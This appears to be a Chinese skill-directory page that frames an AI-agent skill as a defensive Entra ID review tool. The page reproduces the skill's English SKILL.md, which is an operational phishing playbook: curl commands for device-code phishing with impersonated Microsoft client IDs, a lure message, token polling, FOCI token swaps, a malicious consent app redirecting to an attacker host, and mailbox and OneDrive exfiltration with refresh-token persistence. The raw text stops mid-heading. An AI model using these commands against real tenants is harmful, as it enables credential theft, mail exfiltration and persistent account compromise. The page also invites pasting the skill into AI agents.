entra-device-code-phishing
它能做什么
这项技能说明攻击者如何滥用 Microsoft Entra 的登录流程,在不需要密码的情况下获取令牌,以及防御方应当关注什么。适合负责检测和钓鱼防御的安全团队。
适用场景
- ✓当安全团队要求智能体审查其设备代码登录和应用授权设置时。
- ✓当智能体查找要求广泛 Microsoft Graph 权限的可疑应用注册时。
- ✓当防御计划需要说明如何检测通过登录流程进行的令牌窃取时。
技能链接
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/entra-device-code-phishing/SKILL.md复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。
使用方法
最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。
可直接粘贴的消息
适用于 Claude Code、Codex 或 Cursor:在项目文件夹中运行,即可安装该技能。
下载 SKILL.md,放进智能体的技能文件夹。
可以这样问 AI
“请帮我检查,我们租户中的用户能否向未知应用授予广泛权限,或是否可以不受限制地使用设备代码登录?”
每周 5 个新技能,1 分钟读完。
工作原理
智能体审查授权和设备代码设置,列出拥有广泛委派范围的应用,并建议用于阻止或监控它们的控制措施。
技术内容(原始 SKILL.md)
作者在 GitHub 上的英文原文。
Entra Device-Code & Illicit-Consent Phishing
Steal Entra ID tokens without ever owning the password. Two primary primitives:
- Device-code phishing — abuse the OAuth 2.0 device authorization grant: target enters YOUR code on the real MS login page.
- Illicit consent grant — register an app, get the user to consent to delegated Graph scopes.
Both bypass MFA-at-login (the user already MFAd against the real IdP) and produce tokens with broad scope.
Phase 1: Device-code flow
Request the device code
# Use a first-party client ID (impersonate a Microsoft app — no consent prompt).
# AzureCLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46
# Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264
# Office: d3590ed6-52b3-4102-aeff-aad2292ab01c
CLIENT=04b07795-8ddb-461a-bbee-02f9e1bf7b46
TENANT=<TENANT> # or "common"
resp=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/devicecode" \
-d "client_id=${CLIENT}&scope=https://graph.microsoft.com/.default offline_access openid profile")
echo "$resp" | jq .
DEV_CODE=$(echo "$resp" | jq -r .device_code)
USER_CODE=$(echo "$resp" | jq -r .user_code)
echo "Send target to: https://microsoft.com/devicelogin CODE: $USER_CODE"
Pretext delivery
Email / Teams message saying "To join the secure briefing, open microsoft.com/devicelogin and enter code <USER_CODE>. Code expires in 15 minutes." — the URL and brand are legitimate Microsoft, which makes it slip past most secure-email gateways.
Poll for the token
while :; do
r=$(curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=${CLIENT}&device_code=${DEV_CODE}")
err=$(echo "$r" | jq -r .error)
case "$err" in
authorization_pending) sleep 5 ;;
null) echo "$r" | jq . ; ACCESS=$(echo "$r" | jq -r .access_token); REFRESH=$(echo "$r" | jq -r .refresh_token); break ;;
*) echo "ERR: $err" ; break ;;
esac
done
Family-of-Client-IDs (FOCI) — single token, all Microsoft apps
The above CLIENT is a FOCI app. Trade the refresh token for a token of ANY other FOCI app — no new consent:
# Swap to Outlook for mailbox access:
curl -s -X POST "https://login.microsoftonline.com/${TENANT}/oauth2/v2.0/token" \
-d "client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&grant_type=refresh_token&refresh_token=${REFRESH}&scope=https://outlook.office.com/.default offline_access"
TokenTactics / TokenTacticsV2 (PowerShell) automates the swap matrix.
Phase 2: Illicit consent grant (malicious app)
Register the attacker app
# Register in YOUR attacker tenant (multi-tenant).
# Redirect URI: https://<ATTACKER>/redirect ; Sign-in audience: multi-tenant + personal MSA
# Add delegated scopes (NO admin consent needed):
# Mail.Read, Mail.Send, Files.Read.All, offline_access, openid, profile
# Capture App (client) ID = APP_ID
APP_ID=<APP_ID>
Craft the consent URL
SCOPES="https://graph.microsoft.com/Mail.Read https://graph.microsoft.com/Files.Read.All offline_access"
REDIR=https://<ATTACKER>/redirect
echo "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=${APP_ID}&response_type=code&redirect_uri=${REDIR}&response_mode=query&scope=${SCOPES}&state=phish"
Brand the app Contoso HR Portal or similar; Microsoft renders YOUR app name on the consent screen. If the tenant has user consent for low-risk delegated scopes enabled (default in many tenants), the user single-clicks "Accept" and you have tokens.
Exchange code for tokens at your redirect
CODE=<CODE_FROM_REDIRECT>
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=authorization_code&code=${CODE}&redirect_uri=${REDIR}&scope=${SCOPES}&client_secret=<APP_SECRET>" \
| jq .
Phase 3: Token replay
# Mail exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/messages?\$top=999" | jq .
# OneDrive exfil
curl -s -H "Authorization: Bearer $ACCESS" \
"https://graph.microsoft.com/v1.0/me/drive/root/search(q='password')" | jq .
# Persist via refresh token (90-day inactive TTL on consumer, 14-day default on CA-protected tenants)
curl -s -X POST "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
-d "client_id=${APP_ID}&grant_type=refresh_token&refresh_token=${REFRESH}&scope=${SCOPES}"
Phase 4: Primary Refresh Token (PR
常见问题
什么是设备代码登录?
它是一种登录方式,用户在官方的 Microsoft 页面上输入一个简短代码。该技能指出,它可能被用于钓鱼。
什么是非法授权?
该技能将其描述为:诱骗用户批准一个应用,从而使该应用获得其数据的广泛访问权。
该技能指向哪些防御措施?
它指向限制授权、限制设备代码登录以及监控异常的令牌活动,具体由管理员决定。
详情
作者的原始描述
Entra ID OAuth device-code phishing for token theft, illicit consent grant via malicious app registration with delegated Graph scopes, refresh-token replay, and primary-refresh-token (PRT) abuse concepts.
热度
- GitHub 星标
- 6.5k
- 排名
- #13993
- 许可证
- Apache-2.0
- 更新时间
- 2026/11/1
评论
- …